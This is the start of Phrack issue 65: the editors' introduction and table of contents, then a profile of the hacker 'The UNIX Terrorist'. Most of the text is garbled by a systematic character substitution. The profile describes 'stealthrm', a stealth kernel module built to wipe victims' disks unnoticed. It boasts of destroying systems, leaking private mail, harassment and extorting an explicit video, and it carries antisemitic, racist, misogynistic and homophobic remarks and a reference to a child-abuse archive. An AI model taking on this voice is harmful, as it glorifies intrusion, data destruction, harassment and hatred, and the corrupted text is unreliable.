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Phrack Magazine issue 65

Phrack Magazine issue 65

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==Phrack Inc.

==
Volume 0x0c, Issue 0x41, Phile #0x01 of 0x0f
|=-----------------------------------------------------------------------=|
|=--------------------------=[ Introduction =---------------------------=|
|=-----------------------------------------------------------------------=|
|=-------------------=[ !" #he $ircle of %ost &ackers =-----------------=|
|=-----------------------------------------------------------------------=|
'elcome (ack.
)nother "ear has *assed, another P&+)$, issue is out, P&+)$,-..
/0er" time some(od" 1i0es me a *resent I end u* thinkin1 to the stor" of
that 1ift. 'here did it come from 2 'ho 3orked on it 2 4id 3ho 3orked on
it e0er thou1ht that his 3ork 3ould ha0e end u* in m" hands 2
'hat a(out a P&+)$, issue 2
P&+)$, comes from the under1round, the under1round 3orked on it, su(mittin1
*a*ers, sendin1 feed(ack, commentin1, s*endin1 lon1 ni1ht chattin1,
readin1, !+/)#&I56. 4oes the under1round still (reath 2
#hin1s chan1e, *anta rei. )s hackers, 3e ha0e fun. 'e 3ant fun. &ackin1 is
fun. 7ou kno3 it (ecause "ou did it, (ecause "ou s*ent ni1hts and ni1hts on
this fuckin1 fun, 1oin1 to slee* at - a.m. and 3akin1 u* three hours later
to *resent "our face at school or 3ork, 3ith "our (rain still (ack home on
"our encr"*ted 3ork. )re "ou still ha0in1 fun 2
Please, don8t take it *ersonall", don8t o0er-react. It8s 9ust a :uestion.
) :uestion that e0er"(od" should *ose to themsel0es e0er" sin1le da", no
matter 3hat he is doin1. ;<5 is not onl" P)7!)$,. 'e are human, 3e lo0e
recei0in1 con1rats, 3ho doesn8t 2 'e %=V/ seein1 our little 3ork s*read
around. 'e lo0e the cla*-cla*-cla* sound. !ut does it reall" (oil do3n onl"
to that 2
'hen "ou lose fun and start doin1 thin1s onl" for the *a"(ack, "ou8re dead.
/0er"one of "ou 3ho ex*erienced a (ad 9o( or a (ad exam to*ic kno3s the
feelin1 of >3astin1 time on useless thin1s> that *o*s out in those moments.
!ut, most of the time, "ou ?&)V/ #=? do it.
'ell, no(od" ?&)@ #= 4=? hackin1. 5o(od".
If "ou are onl" doin1 that for a *a"(ack, than "ou are a 4/)4 hacker.
If "ou are onl" doin1 that to *resent a *a*er to a conference, to see "our
name some3here, than "ou are a 4/)4 hacker.
It 3ill 3ork. 7ou don8t need fun to (e skilled, "ou don8t e0en need to (e
skilled to *ost or to 1o to a conference, there are so man" around that
e0er"(od" has some hole to fix. !ut "our touch 3ith the under1round is
1one. 7our res*onsi(ilit" to3ards friends, ideas, codes 3ill slo3l" fade
a3a". &)$,I56 is also res*onsi(ilit" and ;<5 is the onl" 3a" to not feel
its *ressure
7ou mi1ht disa1ree, 9ust *ost on "our idea. Aa"(e it is a too dark
scenario, ma"(e it is 9ust a s*rin1 (lues, ma"(e I am 9ust *essimistic, (ut
this is the feelin1. #his is mone" takin1 o0er e0er"3here, this is seein1
more and more thin1s done onl" for the *a"(ack.
#his is seein1 the under1round heart (eatin1 slo3er and slo3er.
P&+)$, is 9ust an exam*le of 3hat the under1round has (een a(le to do. =f
3hat 3e can do. !ut so man" hackers out there are ca*a(le of disru*tin1 the
s"stem 3ithout ha0in1 to read or 3rite a ma1aBine like 3e do. 'e are
enterin1 into a *eriod 3here 6o0ernment and Politics are tr"in1 to control
technolo1" 3ith su**osed-anti-terrorism la3s. )nd the" don8t lack mone"
or 1ood con1rats.
@o *lease, *lease, hel* this fuckin1 heart (eatin1 faster, *ushin1 (lood
around. Please &)V/ ;<5.
#his is the -.th edition of Phrack and 3e are still ali0e. 4es*ite that
some *eo*le sa" the" don8t learn an"thin1 3hen readin1 *hrack 3e still
think that Phrack is one of the (est under1round communication methods. =h
3ell, for sure, there are other and e0en (etter 3a"s. !ut Phrack is one 3a"
and *ro(a(l" not the 3orse. 'e ha0e tried to release this issue earlier (ut
editin1 a ma1aBine Cand es*eciall" PhrackD is not eas". 'e ha0e recei0ed a
lot of *ositi0e comments after Phrack release #-4 and a lot of *eo*le said
the" 3ill contri(ute. &o3e0er 3e did not see an"thin1 comin1. )lmost all
articles from this release are comin1 from our first circle of friends.
)1ain.
#his release, des*ite that it is not the *erfect one, tries to (rin1
a 1ood mix (et3een technical articles and 3hat 3e call s*irit articles. =ur
introducin1 and concludin1 articles CPhrack Pro*hile and #he <nder1round
A"thD (rin1 t3o o**osite 0isions of the hackin1 under1round.
$ontradiction2 5o. ;reedom of s*eech.
'e ha0e ke*t 3ith our re1ular columns Phrack 'orld 5e3s and International
@cenes. 'e also ha0e decided to *u(lish less ex*loit articles. &o3e0er,
lo3-le0el hackers should find their 3a" easil" into this ne3 release.
[-=====================================================================[-
;or this issue, 3e are (rin1in1 "ou the follo3in1 E
0x01 Introduction #$%&
0x0F Phrack Pro*hile of #he <5IG #errorist #$%&
0x0H Phrack 'orld 5e3s #$%&
0x04 @tealth &ookin1E another 3a" to su(0ert the 'indo3s kernel mxatone
i0anlefou
0x0. $la3in1 holes in 5)# 3ith <PnP felinemenace
0x0- #he onl" la3s on Internet are assem(l" and +;$s Iulia
0x0J &ackin1 the @"stem Aana1ement Aode !@4aemon, coideloko, d0nand0n
0x0K A"stif"in1 the de(u11er for ultimate stealthness halfdead
0x0L )ustralian +estricted 4efense 5et3orks and ;I@@= #he ;inn
0x0a Phook - #he P/! &ooker shearer M dre1
0x0( &ackin1 the N4L 'ifi ;inder o*enschemes
0x0c #he art of ex*loitationE @am(a 'I5@ stack o0erflo3 max?*acketB
0x0d #he <nder1round A"th anon"mous
0x0e &ackin1 "our (rainE )rtificial $onciousness -$
0x0f International scenes 0arious
'indo3s stealth hookin1 article (rin1s a dee* anal"sis of the GP kernel
internals (" *resentin1 t3o so*histicated (ackdoorin1 techni:ues. It is
1enerall" hard to find 0alua(le re0erse en1ineerin1 articles co0erin1
One3O to*ics and satisf"in1 our standards, (ut these 1u"s ha0e made a 1reat
9o(. Aake sure also to check out the P/! &ooker and the full *u(lished
source code if AN soft3are re0ersin1 is "our thin1. !oth of those articles
3ill (rin1 "ou a 0er" 1ood read.
;elinemenace is featured a1ain and (rin1s "ou one of their latest hacks on
more recent net3ork *rotocols. =ur second net3ork article di1s into ;I@@=
(" introducin1 not-so-*u(lic information a(out australian restricted
net3orks.
)s 3e continue to care a(out cr"*to1ra*h", Phrack #-. includes a useful
cr"*to1ra*hic conce*t of denia(le encr"*tion, a *articular" rele0ant to*ic
for hackers. $heck out Iulia8s article for all details.
)s mentioned, 3e ha0e tried to (rin1 "ou the (est lo3-le0el hackin1 around.
)rticles such as &ackin1 the @"stem Aana1ement Aode, &ackin1 the N4L 'ifi
;inder, A"stif"in1 the de(u11er, are not reall" 0da" for those of "ou
alread" in the under1round, (ut aim to (rin1 "ou sufficientl" material to
de0elo* "our creati0it" on that matter.
;inall", 3e could not release Phrack 3ithout at least one ex*loitation
article. Aax Packets has done the 9o( of descri(in1 ste* (" ste* his
@am(a 'I5@ ex*loit. #he information contained herein 3ill certainl" (e
enou1h for those of "ou 1u"s 3ho 3ant to de0elo* their o3n.
@cene @houtBE
-------------
)1ain, Phrack #-. could not ha0e ha**ened 3ithout so man" *eo*le. #hanks
to the admins, coders, hackers, scri*terB.
@houts E mauro, s"sk, leandro, assad, ki3icon for an amaBin1 conference
3ith a lot of ori1inal to*ics. )s lon1 as "ou sta" a non *rofit e0ent
Phrack 3ill su**ort "ouP 'e are also lookin1 for3ard to the next !)$on in
se*tem(er F00K. @houts to all south american hackers M ex*ats.
5o shoutsE )ll su**osed ><nder1round *eo*le> 3ho asked us million
times 3hen Phrack 3ill (e out (ut ne0er contri(ute to the ma1aBine. If
"ou 1u"s 3ere a little more *roducti0e *erha*s Phrack 3ould (e released
more often. )lso, 3e 3ill -not- hel* *oor indonesians ("*assin1
1o0ernment8s *0rn 3e(sites filters. @orr" taufiks14FKQ1mail.com.
%amesE
O cucamon1a CxtQdockin1.1a"kansascit".comD has 9oined #*hrack
RelS 3h" hasnt *hrack-. (een leaked "et
R0e1asS *ro(a(l" coB i don8t ha0e it
RshifteeS *ro(a(l" cause no(od" 3ants to read it
Phrack has not (een leaked this time...sorr" for that... *ro(a(l" (ecause
shiftee needs to shar*en his hackin1 skills instead of *osin1 on I+$. &e
could also read Phrack, 3e 3ill not den" his IP address. )n" :uestions,
send us an email.
;lamesE 0e1as Cinsecure 3anna(eD, &4A C*3nie co3ardD
/n9o" the ma1aBineP
[-=====================================================================[-
5othin1 ma" (e re*roduced in 3hole or in *art 3ithout the *rior 3ritten
*ermission from the editors. Phrack Aa1aBine is made a0aila(le to the
*u(lic, as often as *ossi(le, free of char1e.
|=-----------=[ $ = 5 # ) $ # P & + ) $ , A ) 6 ) T I 5 / =---------=|
/ditors E circle[at*hrackUdotVor1
@u(missions E circle[at*hrackUdotVor1
$ommentar" E loo*(ack[Q*hrackUdotVor1
Phrack 'orld 5e3s E *3n[at*hrackUdotVor1
|=-----------------------------------------------------------------------=|
@u(missions ma" (e encr"*ted 3ith the follo3in1 P6P ke"E
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-----/54 P6P P<!%I$ ,/7 !%=$,-----
*hrackEZ# head -FF WusrWincludeWstd-disclaimer.h
WO
O )ll information in Phrack Aa1aBine is, to the (est of the a(ilit" of
O the editors and contri(utors, truthful and accurate. 'hen *ossi(le,
O all facts are checked, all code is com*iled. &o3e0er, 3e are not
O omniscient Chell, 3e don8t e0en 1et *aidD. It is entirel" *ossi(le
O somethin1 contained 3ithin this *u(lication is incorrect in some 3a".
O If this is the case, *lease dro* us some email so that 3e can correct
O it in a future issue.
O
O
O )lso, kee* in mind that Phrack Aa1aBine acce*ts no res*onsi(ilit" for
O the entirel" stu*id Cor ille1alD thin1s *eo*le ma" do 3ith the
O information contained herein. Phrack is a com*endium of kno3led1e,
O 3isdom, 3it, and sass. 'e neither ad0ocate, condone nor *artici*ate
O in an" sort of illicit (eha0ior. !ut 3e 3ill sit (ack and 3atch.
O
O
O %astl", it (ears mentionin1 that the o*inions that ma" (e ex*ressed in
O the articles of Phrack Aa1aBine are intellectual *ro*ert" of their
O authors.
O #hese o*inions do not necessaril" re*resent those of the Phrack @taff.
OW
-/=;-
==Phrack Inc.==
Volume 0xc, Issue 0x41, Phile #0x0F of 0x0f
|=------------------------=[ P&+)$, P+=P&I%/ =5 =----------------------=|
|=----------------------------------------------------------------------=|
|=------------------------=[ #he <5IG #errorist =----------------------=|
|=----------------------------------------------------------------------=|
In this issue of Phrack, 3e ha0e rene3ed 3ith *u(lishin1 the *ro*hile
of an influencial under1round character. #he <5IG terrorist 3as alread"
*ro*hiled t3o "ears a1o (ut for some editorial reasons at the time, 3e
3ere not a(le to 1et his *ro*hile *u(lished. 5o3 that the Phrack editorial
staff has less o*en conflicts 3ith some *art of the scene re*resented ("
the?u#, 3e 3ant to make sure e0er"one remem(er his en1a1ement. ) lot of
*eo*le (elie0ed he 3as an extremist (lackhat hacker *ronin1 non-disclosure
durin1 his time of acti0it". #hat 3as true. !ut he 3as not 9ust this.
I ha0e kno3n the <5IG #errorist in real life se0en "ears a1o. )t this time,
durin1 his "outh, the?u# 3as a softer hacker. 4ont 1et me 3ron1, the?u#
Cor 3hate0er he 3as callin1 himself (eforeD al3a"s had this characteristic
*ersonalit" that made him an exce*tionall" creati0e dude. %ater on, after
he started (od"-(uildin1 Crumors mention that he follo3ed the ad0ices of
his idol Aike @hifmanD, he 1ot that im*ressi0e sha*e that certainl"
re*resented (etter his mind shift to3ards a more a11ressi0e *ro*hile. #he
<5IG terrorist is the result of this e0olution from a "oun1 skilled hacker
to a disa(used *hiloso*her of the under1round.
#his *ro*hile 3as realiBed (" #he Pa*er @treet &acker in 5o0em(er F00J
for *u(lication in Phrack Aa1aBine #-. (" #$%&. +emem(er the o*inion
reflected in this inter0ie3 onl" en1a1es the <5IG #errorist and does not
re*resent the o*inion of the Phrack editors.
@o here it is.

|=---=[ @*ecifications

&andleE the?u#
),)E daemon10, "u0, 9un19eeB"
&andle ori1inE )frica
)1e of "our (od"E F4
Produced inE #he &eart of 4arkness, <@)
%i0in1 inE #he Pa*er @treet @oa* $om*an", <@)
&ei1ht M 'ei1htE /xcessi0e> W F.0l(s
<rlBE htt*EWW3e(.textfiles.comWeBinesW/%KW
$om*utersE )n"thin1 3ith a net3ork connection and a 3orkin1 ssh
client 3ill do... I8d rather s*end m" mone" on clothes
M entertainment... less tech 1ar(a1e also means m"
(edroom doesn8t scare the (itches a3a"
$reator ofE P+=I/,# A)7&/A W Phrack &i1h $ouncil W anti.securit".is
)dmin ofE Aost of @outh ,oreaW$hina ...
Aem(er ofE 5)A!%) C*roud s*onsors of #=+PD W )5=57A=<@
Pro9ectsE A47&HA
$odeBE stealthrm, the first (lackhat +AC1D utilit", desi1ned
to rm deskto* com*uters silentl". 4istri(uted as a
%inux %,A, V;@ functions are hi9acked so that file
indexin1 and rm8in1 can (e smu11led and interlea0ed
discretel" amon1st existin1 file o*erations.
)dditionall", ke"(oard IW= is monitored to determine
the s"sadmin8s *resence. @*oradic file 3i*in1 occurs
either durin1 hea0" P%)55/4 s"stem hard dri0e use, or
occurs slo3l" and steadil", 3ith timed dela"s, 3hile
the console user is a(sent. #he *rimar" *ur*ose is to
a0oid the alarmin1 and sickenin1l" unex*ected &44
>crunchin1> sound that alerts man" 3ould-(e >rm -rf W>
0ictims to their im*endin1 doom. ;ile remo0al is
scheduled accordin1 to a *ro*rietar" *rioritiBation
al1orithm 3hose factors include criteria such as
inode atimes and V;@ t"*e. ;iles are secure 4=4-3i*ed
in *lace, (ut not unlinked, *reser0in1 disk statistics.
)cti0e sinceE 1LLK
Inacti0e sinceE I don8t slee*... I metastasiBe
|=---=[ ;a0orites
)ctorsE )ssorted 1o0ernment officials, >securit" ex*erts,>
and >s*iritual leaders> ... @cientolo1ists
;ilmsE )*ocal"*se 5o3 +edux, &a**iness, 6ummo, Pi, #he !i1
%e(o3ski, !ad !o" !u((", Irre0ersi(le
)uthorsE !ret /aston /llis, %ouis-;erdinand $eline, &unter @
#hom*son, 'illiam @ !urrou1hs, 'ill @elf, Ir0ine 'elsh,
&.%. Aencken, Aark #3ain
)rticlesE >#he 5e3 &ackin1 Aanifesto> - 3areB mullah, P&$ Phrack
#-F
>l"fest"leB of the o3ned and lamest> - r0(1nleech,
ZelK H
)dminsE hend" of team-teso, #he 4i1ital /(ola[%o<,
*mWsneakerB.or1
!ooksE #he +ise and ;all of the #hird +eich, #he +a*e of
5ankin1, #he Protocols of the /lders of Tion
5o0elE ;i1ht $lu(, 1F0 4a"s of @odom, )merican Ps"cho,
Iourne" to the /nd of the 5i1ht, #he Picture of
4orian 6ra", #he Iun1le, ;ear and %oathin1 in %as
Ve1as, $atch FF, ) $onfederac" of 4unces, #he @tor"
of W(W
Aeetin1E )4A$on W ;rance CF001D
Pro9ectE #he Aanhattan Pro9ect, #he ;inal @olution
@exE >7ou8re dead if "ou8re homel" - m" shit8s for adults,
o0er ei1ht "ears old onl">
4ru1sE !eta (lockers and dissociati0es... 9ust a(out an"
su(stance featured on /ro3id or #-5ation... es*eciall"
modafinil, a"ahuasca, ketamine, dinitro*henol, e*ic
stanoBololB C'instroflD, nandrolone, /*i-Pens
AusicE +e0olutionar"W0iolentWm"so1nistWa*ocal"*tic hi*-ho*
/xE Iedi Aind #ricks, 5ecro, $ircle of #"rants, 5on
Phixion, %eak !ros, Immortal #echni:ue, X-<ni:ue,
$a1e, $el*h #itled Plastikman
)lcoholE %ike m" 3omen - 1.-1K "ears old, sin1le CmaltD and on
the fuckin1 rocks
$arsE (lue dod1e 0i*er C0room 0roomPD
;oodsE 'he" *rotein h"drol"sate, Vitar1o $6%, !$))8s,
l-1lutamine, $arlson8s ;ish =il %i:uid =me1a-H
I likeE )ndrei $hikatilo, F1irls1[cu*Wfin1er, Puma @3ede,
thins*iration, 0iolent s*ortin1 C'/$,<;$,PrideD,
sol0in1 intracta(le *ro(lems 3ith 0iolence,
achie0in1 /PI$ %<%T of un*recedented ma1nitude
I dislikeE ;at 1oths, $I@@Ps, fat *eo*le Cin 1eneralD, 3omen 3ith
a !AI o0er 1K, 3omen 3hose thi1hs touch 3hen the" stand,
miniature do1s, *eo*le 3ho tail1ate or drink (eer out
of red *lastic cu*s, !asshunter
|=---=[ 7our current life in a *ara1ra*h
I8ll 1i0e "ou a hint... it doesn8t in0ol0e 1ettin1 *aid to do
com*uter securit" research. #he onl" reason I 3ould e0en
consider usin1 a com*uter an"more 3ould (e to meet 3omen of
loose moral standards on m"s*ace, or to en1a1e in the 3holesale
*irac" of music and 0ideo content, *referra(l" 0iolent
*orno1ra*h". =r ma"(e to 1et directions to a stri* clu( on
ma*:uest... or order 0arious scheduled su(stances from corru*t
/astern /uro*ean *harmaceutical manufacturin1 facilities... In
fact, if "ou8re readin1 m" *ro*hile (ecause "ou 9ust ha**ened
still to (e readin1 Phrack in F00K and stum(led u*on it, then
I *it" "ou... "ou fuckin1 closet homosexual.
|=---=[ ;irst contact 3ith com*uters
@tud"in1 the m"steries of 1orillas.(as and ni((les.(as,
oldst"leP
|=---=[ 7outh
I 3as H00 l(s, (es*ectacled, and acne-stricken. I used to read
co*ies of 4r. 4o((8s Iournal in P./. /0er"(od" hated me. #hen I
under3ent an emer1enc" ne1ro*last" and decided to enact m"
re0en1e u*on the 3orld (" inflictin1 massi0e 0er(al trauma
throu1h a medium 3here *ersonal interaction is im*ossi(le and
e0er"(od" feels tou1her than the" reall" are. @o I installed
!itchG and 3ent on /;5/#, and the rest, m" friend, is histor".
|=---=[ Passions E 'hat makes "ou tick
I8m distin1uished (" an acutel" defined and un*aralleled sense
of schadenfreude. #echnolo1" is *rett" fun too Cor at least it
3as for a 3hileD, (ut 3hat reall" dro0e me harder and further
3as the excitin1 *ossi(ilit" of usin1 com*uters to turn the
life of a *articular fello3 human (ein1 into a li0in1 hell.
@o no, I 3asn8t that kid that used to han1 out at +adio @hack
*ullin1 a*art electronic e:ui*ment and reassem(lin1 it to >see
ho3 it 3orks.> @hit like that doesn8t make "ou a >hacker> - it
makes "ou a 3anna(e // under1rad. 4ri0in1 *eo*le o0er the
*reci*ices of de*air and frustration is a 1reat 3a" to
*ass one8s time, (ut definitel" falls short of the *leasure of
discreditin1 or humiliatin1 or other3ise defamin1 and
slanderin1 the ill-earned re*utations of the 0arious charlatans
and h"*ocrites in the scene. Pu(lishin1 the mail s*oolB of
the 3icked, archi0in1 the hard dri0es of the lame, and rm8in1
the 3eak are all acti0ities I find ins*irational. Particularl",
I choose to self-medicate m" anomie (" *ro0in1 m"self smarter
and stron1er than others. #his is the sort of thin1 3ith 3hich
3e8ll ha0e to make do until 3e can one da" stalk elk around the
ruins of the +ockefeller $enter or stri* 0enison in the em*t"
car*ool lanes of some a(andoned su*erhi1h3a". ;or further
information a(out 3hat makes me >tick,> *lease consult 4r. 5eal
,ra3etB8s remarka(le and hi1hl" academic *s"cholo1ical exe1esis,
full" annotated to official )P) formattin1 standards.
|=---=[ /ntrance in the under1round
It all (e1an on /;5/#, some time around 1LLK Clon1 (efore the"
had $&)5;IG like dalnetPD in lame and lamer channels like #(4(0
and #feed-the-1oats. &istorical noteE @e0eral incredi(l"
dia(olical and moti0ated indi0iduals from (4(0 3ould come to
rule the 0irtual entiret" of the Inter3e( 3ith an iron fist for
the follo3in1 decade. 7eah, I started hackin1 shit 0irtuall"
exclusi0el" on #$PWIP net3orks, and started 3ritin1 ex*loits
lon1 after techni:ues like hea* o0erflo3s and return-into-li(c
3ere *u(lished, so fuck "ou if "ou ha0e a *ro(lem 3ith the fact
that I ne0er scanned shit 3ith toneloc or (ruteforced @P+I5#5/#
lo1ins.

|=---=[ 'hich research ha0e "ou done or 3hich one 1a0e "ou the most fun2
'ritin1 an" one of se0eral relia(le ex*loits for intelli1entl"
(rute-forcin1 com*lex remote 0ulnera(ilities, 3hich all made me
feel like a hacker from #&/ A)#+IG. /s*eciall" 3ritin1 a
uni0ersal (lind ex*loit for the 'u-;#P4 1lo((in1 0uln for
0ersions F...x-F.-.1 Ccmdta( *o3erPD, and *ortin1 the remote
client for $=+/-@4I8s in1enious crcHF deattack (ackdoor to more
exotic o*eratin1 s"stems such as @olaris and I+IG C*ossi(l" the
3orld8s slo3est ex*loitD. )lso, 3ritin1 an %,A for d"namicall"
loada(le stackWhea* execution *rotection on %inux.

|=---=[ &o3 started lo3-le0el 2
%ike most other >under1round> 1rou*s out there, this one started
from the fla3ed notion that it 3ould someho3 (e cool to 1et a
1rou* of *eo*le to1ether 3ith a 3e(*a1e and domain name and I+$
channel and 3rite a (unch of P=$ code and *u(lish it to the
*u(lic and *ost on sec lists for attention. It 3as a stu*id
idea.
|=---=[ Personal 1eneral o*inion a(out the under1round
'ell, the under1round is *rett" much dead, (ut I 1uess "ou
mostl" ha0e the securit" researchers out there to thank for that
one. &o3e0er, as a delicious *roof of the old ada1e >(e careful
3hat "ou 3ish for,> securit" *rofessionals ha0e made their o3n
demand scarce. 'ith 0ulnera(ilities so much harder to find,
it means that random idiots out there aren8t likel" to find
an"thin1 remotel" useful (" 1re*8in1 for o0erflo3s in unsafe $
functions. #he first si1n that thin1s 3ere a(out to dr" out
occurred durin1 the format (u1 craBe in F000, 3hich resulted in
the s"stematic scannin1 of all 0arar1s st"le functions that 3ere
incorrectl" used - the first time an entire class of
0ulnera(ilities has (een nearl" *erfectl" eradicated in a (od"
of o*en source code. @lo3l" o0er time, the same thin1 has
ha**ened to most other memor" and inte1er o0erflo3s, and castin1
(u1s. 'hat ha**ens as a result2 0da" (ecomes a hi1hl" 0alued
commodit". #he chance of leaka1e decreases dramaticall" (ecauseE

1. 0da" is much more 0alua(le

F. ;e3 *eo*le can find useful 0ulns, 3hich decreases the amount
of sharin1. )dditionall", smarter *eo*le usuall" find an
intrinsicall" hi1her 0alue in their o3n 3ork than *eo*le that
can8t understand the ex*loits the"8re usin1.

H. >'hen 1uns are outla3ed onl" outla3s 3ill ha0e 1uns> -
Praise (e to )llah and the fact that the di0ine mathematics of
ex*loit creation are no3 made sacred (" entities like 'IP= and
the 4A$). ;or nearl" a decade, securit" com*anies relied on ;<4
and fearmon1erin1, heraldin1 the imminent s*read of 1lo(al
c"(er-3arfare and e-terror. ) *articularl" salient exam*le of
this idioc" 3ould (e the infamous )ris #hreatcon, second in its
contem*ti(ilit" onl" to the &omeland @ecurit" )d0isor" meter.
#hese scare tactics 3orked for a 3hile, as sec. com*anies
(oosted sales of *roducts such as fire3alls, *acket filters,
net3ork scanners, and other useless trash (" relentlessl"
trum*etin1 the seriousness of 0arious >hacker> threats and ("
strate1icall" scarin1 the *u(lic 3ith their o3n ori1inal
Cmostl" stolenD ad0isories. Ironicall", the" ended u* scarin1
le1islators more than the commercial sector, and no3 *eo*le
like 4mitr" @k"laro0 are arrested for *u(lishin1 their
>astonishin1P> findin1s. 5ote to securit" com*aniesE "ou8re
attem*tin1 to (e (oth the cause and the cure and 3e80e 1ot
use for neither.

4. 0da" auctionsE !lackhats finall" realiBe that it8s a lot
more lucrati0e to sell ex*loit information to shado3" interest
1rou*s. @uch sales ha0e the added (enefit of *re0entin1
information dissemination, (ecause it 3orks a1ainst the
interests of all *arties in0ol0ed. i4/;/5@/, the first and
lar1est name in hackin1 middlemanr", 3as forced to *urchase
ex*loits from the under1round 3hen the" realiBed the" lacked
the technical skills in their mea1er +M4 la(s to find an"
ex*loits on their o3n. !ut 3ho in their ri1ht mind 3ould
consider auctionin1 off 0ulns at )r1entinian *rices to a
3hitehat s3eatsho* that 3ill 9ust *a3n their findin1s off as
their o3n, and then *u(lish them to !u1tra: - 3hen the" can make
the same sale to some(od" in the under1round for .-10x the cost
and rest assured that the 0uln 3ill sta" ali0e2
5o3ada"s, it is claimed that the $hinese and e0en '=A/5 are
hackin1 thin1s. Aan, am I e0er 1lad I 1ot a chance to ex*erience
>the scene> (efore it de1enerated com*letel". )nd remem(er, kids,
kno3in1 ho3 to *ro1ram or 3antin1 reall" (adl" to fi1ure out ho3
thin1s 3ork inside doesn8t make "ou a hackerP &ackin1 (oxes
makes "ou a >hacker> P #hat8s ri1htP 'rite "our local
re*resentati0es at 'iki*ediaWur(andictionar"W=/4 and let them
kno3 that hackers are *eo*le that 1ain unauthoriBed
accessW*ri0ile1es to com*uteriBed s"stemsP %inus #or0alds
isn8t a hackerP +ichard @tallman isn8t a hackerP 5iels Pro0os
isn8t a hackerP ;atWu1l", ma"(eP &ackers, noP )nd 3hat is u* 3ith
the use of the term >cracker>2 )s far as I8m concerned, that term
a**lies to *eo*le that ("*ass co*"ri1ht *rotection mechanisms.
Vladimir %e0in2 &)$,/+. *hi(er o*tik2 &)$,/+. ,e0in Aitnick2 =,,
ma"(e a 1a"W(ad one, (ut still ')@ a >hacker.> &o*e that8s clear.

|=---=[ Aemora(le /x*eriences
;irst (ox I e0er o3ned Cdro*stat8d sonD
'atchin1 3ides*read *anic and h"steria 1ri* I+$ and 0arious
securit" mailin1 lists after the *u(lication of ZelK, es*. #F
and #H.
#he P&$ Ausic M ;ilm ;esti0al, nota(l" Ioost Pol rms free(sd.cn
#he multi-homed attackWrm8in1 of efnet irc o*erator >seiki,>
3hich resulted in P&$ *rimac" and al*ha male he1emon" o0er
#*hrack
Pre*arin1 the memora(le 0itriolic s*eech >'ol0es )mon1 <s>
from scratch, in less than H0 minutes... then attem*tin1 to
deli0er it 3ithout inducin1 fatal hilarit"
!ecomin1 the ;redd" ,rue1er of the InternetWI+$
$ele(ratin1 ,3anBaa online in #darknet 3ith assorted @outh
)frican infosec luminaries
$i0il ri1hts cham*ions 3orld3ide cheer 3hen a Polish transsexual
(ecomes the most reco1niBa(le ex*ert on the 0an1uard of kernel
rootkit CunDdetection research
&a0in1 m" first *ro*osed Phrack *ro*hile re9ected (" humorless
6erman staff
#he suceessful social en1ineerin1 of hacker >d0dman> - 3hich
resulted in the retrie0al of an ex*licit mastur(ator" 0ideo of
aforementioned indi0idual
i4/;/5@/ contri(utors and their lau1ha(l" lo3 sell-out *rices
are re0ealed in >fake> Phrack
Vomitin1 in m" mouth C9ust a little (itD the first time I 3alked
into the )lexis Park &otel
#he communal rm8in1 of 300308s 9o(e, 3hich (ecame the onl"
kno3n time in histor" 3here the same indi0idual 3as rm8ed
concurrentl" (" multi*le intruders, 3ho, u* until the time
of the attack, had no kno3led1e of each other8s *resences
%o11in1 into m" com*uter, rel"in1 onl" on muscle memor" to t"*e,
after for1ettin1 the al*ha(et and (ein1 too fucked u* to read
the letters on m" ke"(oard
#he look of sur*rise on the $heshire $atal"st8s face after his
*ass3ord 3as shouted at him re*eatedl", at a**roximatel" K0
deci(els, 3hile he 3as entertainin1 fans
strin1B attem*ts to re*licate ZelK, fails, and is shamed offline
fore0er
securit"focus.com adds thum(nail *ictures to its ori1inal
columns - I finall" find out infosec rockstars such as 4on
Parker, @cott 6ranneman, and 4r. 5eal ra3etB reall" look likeP
@lack3are founder Patrick Volkerdin1 sends an o*en @=@ to the
3orld after for1ettin1 to (rush his teeth nearl" results in
fatal halitosis.
'atchin1 the I+$ suicideWaccidental deaths of ri**ahWelectrosk0t
unfold
Aart" +oesch reaches midlife crisis[ denies o3n o(esit" and
the o3nin1 of snort.or1

|=---=[ Aemora(le *eo*le "ou ha0e met

#he !lue !oar, at the 0er" first Phrack &i1h $ouncil /thics
+oundta(le
#he +ain ;orest Pu**" Csounds like an adora(le stuffed animal
from AattelC$D (ut dresses in shin" reflecti0e ra0er clothin1D
$a*tain $runch C5o thanks du0d I don8t 3ant "ou to o*en u* m"
chakras 3ith a s*ecial >ener1" massa1e>D
=fir )rkin, 3orld8s leadin1 I$AP fin1er*rintin1 technolo1ist
&one" 4e3 Aoore, child hacker *rodi1" and 3orld8s leadin1
ex*loit catalo1uer
@hok, 3orld8s foremost Aormon hacker
@ur*risin1l", some actual hackers C0arious mem(ers of Ao4D,
3hile attendin1 &=P/, the 3orst con I80e e0er (een to
#he 4eath Ve1eta(le, lar1est car(on foot*rint of an" netiBen
Packet ;air"
|=---=[ Aemora(le *laces "ou ha0e (een
s*af8s mail s*ool Calthou1h I8d 1i0e it (ack in a heart(eat
for a chance to take a 9o"ride in his electric 3heelchair
insteadD
c0s.o*en(sd.or1
s18s famous >@tudio H1HHJ> &)$,I56 ;=+#
+loxle"8s child *orn archi0e
|=---=[ &o3 started P+0IH,# A47&HA 2
#he idea o(0iousl" isn8t somethin1 entirel" ne3 or ori1inal.
#he earliest kno3n historical *recursor to Pro9ect Aa"hem 3as
/rostratus, 3ho set fire to the #em*le of )rtemis at /*hesus,
one of the @e0en 'onders of the )ncient 'orld. #hou1h his
moti0es 3ere :uestiona(le Che achie0ed the act merel" (ecause
he had no other 3a" of immortaliBin1 his nameD, the (ase conce*t
3as thereE destro"in1 somethin1 (eautiful 9ust for the hell of
it. 5oteE destruction and 0andalism out of i1norance and fear
are decidedl" less no(le in nature. =(0iousl", there 3as some
ins*iration from the no0el, ;i1ht $lu(. )s far as scene-related
influences, there 3ere some earl" *recursors... the 0enera(le
e-Bine >$I#)4/%> and some of the (etter 3ork of !=' C!rotherhood
of 'areBD. ZelK 3as *ro(a(l" the sin1le (i11est source of
creati0e ener1" fuelin1 P+0IH,# A47&HA, and is still
remem(ered to this da" as the 1reatest, most re0olutionar"
(lackhat *u(lication of all time. !ut 3hat reall" kick-started
P+0IH,# A47&HA 3as the a**arent lack of success of
anti.securit".is, a formal anti-disclosure mo0ement constructed
from a lucid and co1ent document illustratin1 3h" it 3ould (e
(etter for all *arties in the infosec communit" to sto*
*u(lishin1 ex*loit code. !ut as the <@ 1o0ernment is fond of
sa"in1 of the #ali(an, it soon occurred to man" of us that
these 3hitehats, like their 3hite-tur(aned friends in
)f1hanistan, >res*ond onl" to 0iolence.> /nter P+0IH,# A47&HA,
a s*a3n off P&$8s ;i1ht $lu( di0ision. )ll in all, P+0IH,#
